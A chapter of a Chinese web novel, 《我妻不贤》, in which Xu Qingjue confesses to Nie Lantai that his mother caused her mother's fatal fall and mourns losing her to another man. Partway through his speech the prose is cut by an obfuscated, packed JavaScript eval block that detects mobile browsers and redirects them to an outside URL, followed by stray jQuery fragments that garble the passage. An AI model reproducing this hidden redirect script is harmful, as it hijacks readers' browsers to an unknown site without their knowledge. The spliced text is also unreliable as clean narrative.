131. 第131章 为母赎罪
作品:《我妻不贤》 这一日将近午时,聂兰台正在摆弄新得的几盆水仙,蓝鹊匆匆来报:“夫人,萧管家遣人来说,许三公子来了,说要见您。”
聂兰台剪下一片枯叶,曼声问道:“哪个许三公子?”
蓝鹊道:“就是许太傅家那个三公子,许清玦。”
“他?”聂兰台扔下剪子,讶然道,“他来找我做什么?”
便是当今陛下来安定侯府找她,聂兰台都不会如此惊讶。
她早已跟许清玦没有任何交集,也早就把话跟他说清楚了。
蓝鹊道:“奴婢也不知,萧管家说已经婉拒过他了,但他坚持要见你。”
这时绿鸭气冲冲道:“他是不是故意趁世子不在家才来的,想损害夫人名声是吧?夫人要是不想见他,奴婢去把他赶走!”
聂兰台沉吟道:“算了,我去会会他。”
不知许清玦究竟有什么事?不过人都上门来了,避而不见总是失礼,而且显得刻意,倒像她心里有鬼因而不敢见他似的。
她吩咐蓝鹊:“你让萧管家把人带到前院议事厅,说我稍后就来。”
前院厅里,许清玦端坐在乌木太师椅上,身姿笔挺如松,雪白羽绉面白狐狸鹤氅披在身上,宛如青松披雪,让整个厅里都弥散着一股只可远观不可亵玩的冰雪冷意。
那般不落凡尘,令人遥不可及。
聂兰台徐徐跨进大厅,目光轻飘飘地落过去。
若是在前世,这么看一眼,她的心早就融化了,可现在看来,却真的像在看一株堆雪的松树一样,毫无波澜。
“不知许三公子今日来寒舍有何贵干?”聂兰台扶着蓝鹊的手,摆足了侯府世子夫人的架势,步态雍容,目不斜视,慢慢走到主座上,款款落座。
许清玦站起来,遥遥朝她一揖,道:“我心里有件事,总是想不明白,寝食难安,故而冒昧上门,还请萧夫人给我解疑答惑。”
“许三公子真是说笑了,”聂兰台失笑道,“我不过一介内宅妇人,如何能给许三公子解疑答惑?若无事,许三公子便请回吧,毕竟我夫君不在家,我不便接见外男,还望许三公子体谅。”
许清玦双眼定定地看着她,柔声道:“你究竟是为了躲我,还是真的在意萧世子?”
“许三公子慎言!”聂兰台倏地沉下脸,寒声道,“什么叫我为了躲你?任何一个外男突然找上门,我都要避嫌,许三公子乃是太傅之子,难道竟不知这个礼数?”
许清玦道:“如此说来,在你心中,我已经跟其他男外没有区别了?”
聂兰台道:“我倒不知许三公子跟其他外男有什么区别。”
许清玦神色一黯,谪仙般俊美无俦的脸上添了落寞,他微微垂头,闭上双眼,那姿态苏徐优美,仿佛青松稍头的积雪迎风颤抖,令人心悸。
换做以前,聂兰台早就心疼得什么似的,可她此刻实在是什么感觉也没有。
她道:“看来,许三公子今日前来确是没什么事,既如此,恕我不奉陪了,我还有事呢。许三公子倘若想在侯府做客,我便请萧管家陪你逛逛。”
“等一下!”许清玦见她起身要走,忙道,“我真的有事要跟你说!”
聂兰台看了他一眼,从容坐下,淡然道:“那便请说吧,有什么事直说就好,不必绕弯子,我没有太多闲工夫。”
许清玦却沉默下来,似是不知如何开口。
半晌,他终于道:“事关你我二人的母亲,牵涉颇多,还请萧夫人肯给我一点时间。”
聂兰台点点头,表示会洗耳恭听。
许清玦又踌躇片刻,才道:“我十二岁那年,跟随父亲去光禄寺卿府上赴宴,那是我第一次见你。那时你才十岁,梳着丫角小辫,穿着红色衣裳,脖子上挂着赤金长命锁,那个样子很像年画上的胖娃娃。那一次,你把寿春伯世子打了,他去告状,你说是他瞧不起女孩子,出言辱人,必须教训,还说以后你见他一次便打一次……”
聂兰台听得一头雾水,皱眉道:“有这种事情?我怎么不记得了?”
许清玦含笑道:“我却记了一辈子。”
“这跟你我的母亲又有什么相干?”聂兰台正色道,“还希望许三公子不要顾左右而言他,有事直说。”
许清玦脸上又是一黯,缓缓道:“那一次我就认识了你,我去打听过,你叫聂兰台,礼部尚书聂楷之孙,户部郎中聂和偁第三女。”
这倒没错,聂兰台十来岁的时候,她祖父尚未致仕,还是礼部尚书,父亲亦只是户部郎中,尚未做到侍郎。
不过这些跟她母亲有何干系?她忍着催促许清玦的冲动,点点头,示意他说下去。
“我回去后,立即把这件事情讲给我母亲听。我母亲当时已经缠绵病榻数载,无法下床,不能外出散心,我在外面遇到了好玩有趣的事,都会回来讲给她听,每次她都很高兴。”
“可是那一次听完我说了你的事之后,她不仅没笑,脸色也变了,似是如临大敌。没几日便病情加重,整日郁郁寡欢,药也喝不进去,不到一个月就去世了。”
聂兰头忍不住喝道:“这跟我有什么相干?”
“确实跟你不相干。”许清玦面露痛色,黯然道,“是跟你母亲有关。”
“我母亲?”聂兰台腾地站了起来,“难道是我娘害死了你母亲?”
“不对,不对!”她紧紧蹙起秀眉,“那时候我娘早死了!我还不到四岁我娘就死了,怎么可能害你母亲!”
紧跟着,她脑子里又冒出来一个可怕的想法,“我娘,难道是,是……”
后面的话,蓦地被她捂在了嘴里。
许清玦却替她说了出来:“没错,你母亲,是我母亲害死的。”
聂兰台死死捂着嘴,眼睛瞬间瞪得老大。
“我母亲弥留之际告诉我,她和你母亲做闺阁女儿时一直被人相提并论,两个人也在暗地里赌一口气,要争个高低,一直不对付。”
“有一次在祥月郡主的婚宴上,你母亲不小心推倒了我母亲,她额角撞破了一道口子,差点破相。我母亲认为你母亲是故意而为,一直怀恨在心。”
“后来两人都嫁做人妇、生儿育女了,还是不对付。”
“有一年初春,两人不巧都去昌宁寺上香,碰上了。我母亲就故意在你母亲必经的小路上放了几颗鹅卵石,你母亲不慎踩中,摔倒了。边上草地湿滑,又是斜坡,扶她的嬷嬷自己也踩了鹅卵石没站稳,一下子没能拉住你母亲,让她滚出了好几丈远。”
“你母亲并不知是我母亲在路上动了手脚,还以为是自己不慎摔的,加上她当时并未摔伤,身上也无其他异状,便没把此事放在心上。”
“就在当天夜里,我母亲得知了你母亲小产的消息,大出血,没能保住性命……跟随她的嬷嬷怪自己没有护好你母亲,也自缢了。”
“这,这……”聂兰台泪如泉涌,“我娘,我娘……”
原来娘亲是这样去世的!
大家都以为是她自己不小心摔了一跤,这才小产,为此,她临死时还自责不已,连带着秋嬷嬷也因为愧疚自责而自缢身亡。
原来,始作俑者是许清玦的母亲!
难怪这么多年,她无论何时去昌宁寺,都能在母亲的牌位前看到一束新鲜娇艳的鹤莲花。
鹤莲花,寓意赎罪啊!
聂兰台哭得喘不过气。三条人命,只因几颗恶作剧般的鹅卵石而断送!
许清玦默默看着她,等她渐转平静,用帕子拭干眼角,才喃喃道:“我母亲她等于一下子害死了三个人……”
“她说,她当时不知你母亲怀有身孕,否则她绝不会那样做的。她悔愧恐惧,很快也病倒了,后来就整日卧病在床,郁郁寡欢。”
“在我十二岁那年,她终于把这件事情告诉了我,不久就去世了。她说她终于把那个秘密说了出来,可以放心去死了,她还警告我,让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089890|161045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我远离你,免得以后东窗事发时左右为难。”
“我当时已经十二岁,母亲说的那件事意味着什么,我都懂,可我能做的很少。我想斋戒十年,替母亲赎罪。”
“自那以后,无论风雨,我每个月都会去昌宁寺,给你母亲的牌位供奉一束新鲜的鹤莲花。”
“同时,我心里也记着母亲的叮嘱,要远离你。”
“那时我还未解男女之情,只是出于母亲的叮嘱,不敢靠近你。可是后来,慢慢地,我越是不靠近你,就越是留意你的一举一动,可是,你在我心里扎得越深,我却只能把你推得越远。”
“我总是设法打听你的事,我几乎是看着你长大的,从你十岁,十一岁,十二岁,到你及笄,每年你都会溜出府签约偷偷打人,被打的有市井地痞,也有朝廷命官,我是那么喜欢看你打完人后得意大笑的样子!你及笄后,就大着胆子来追求我了……”
聂兰台打断道:“那是我年少无知,愚蠢冒昧,还请许三公子不要计较。”
许清玦凄然道:“年少无知,愚蠢冒昧?你就是这样看待你对我的感情的?”
聂兰台断然道:“不错,我就是这么看待的。我早已改过自新,也希望许三公子能放下往事。”
“我如何放得下?”许清玦摇摇头,凄凉一笑,“我许愿斋戒十年为母亲赎罪,日期未满,我不敢靠近你,更不敢同你表露心迹,我害怕东窗事发,你会恨我……”
“虽然我知道,就算我斋戒十年,赎罪十年,也无法替我母亲洗清罪孽,你一旦得知真相,还是会怨恨我的。可我就是这么自私,就是存了侥幸,以为你既对我如此深情,就算得不到我的回应,你亦会继续缠着我。等十年期满,我便找机会把这些事情一点一点告诉你,如果你能心无芥蒂,那我就娶你为妻……”
“可是还有两年,还有两年才到我斋戒期满的日子,可你转头就嫁给了萧世子……为何,为何你不能再等我两年……”
许清玦眼眶通红,眸中翻涌着骇人的痛色。
聂兰台脸上没有任何表情,心里却难以遏制地一阵钝痛。
“许三公子,多谢你告诉我这些。”
她深吸一口气,努力把声线放平稳,“老一辈的恩怨,无须我们小辈插手。你母亲已因此付出了极大的代价,所以你不必再自责,也不用再斋戒赎罪了。”
“至于你问我为何不再等你两年,我只能说,因为我不在意你了。”
“当真不在意么?”许清玦定定望着她的双眸,“究竟是萧世子真心待你好,让你爱上了他,还是你为了跟我怄气,故意说这样的话来对堵我?我不信,你明明对我一往情深,怎能说断就断了呢?”
聂兰台道:“有许多事情,不是你不相信它就不存在的。在我嫁给萧淳誉之前,我确实对你有情,也是真心实意想要嫁给你。可是自我成婚以后,我便彻底放下你了,心里只有萧淳誉,我真心敬他,爱他。只要萧淳誉不负我,我便绝不负他。”
她说着站了起来,“也希望你不要沉迷过往,还是敞开心扉,看一看前路吧。过往之事,为人为己,都请许三公子不要再提了。”
“就这一次!请允许我再提这一次!”
许清玦眼角濡湿,唇角却噙着一抹淡笑,“世人只知你对我死缠烂打三年,却不知,你在我心里生长了将近十年,早已根深叶茂,与我血脉相连,若要连根拔起,你可想过我会怎样?”
聂兰台大步走了出去。
“我不会去想这种问题,因为与我无关。不过,我还是希望许三公子能平安喜乐,前程似锦。许三公子,你请回吧。”
许清玦看她头也不回地走了出去,也跟着站起来,却无论如何也迈不开脚步去追。
毕竟,她早已是别人的妻。
过往种种,譬如昨日死;将来种种,并未今日生。
窗外黑云沉沉,寒风猎猎,不知何时已飘下了今年的第一场雪。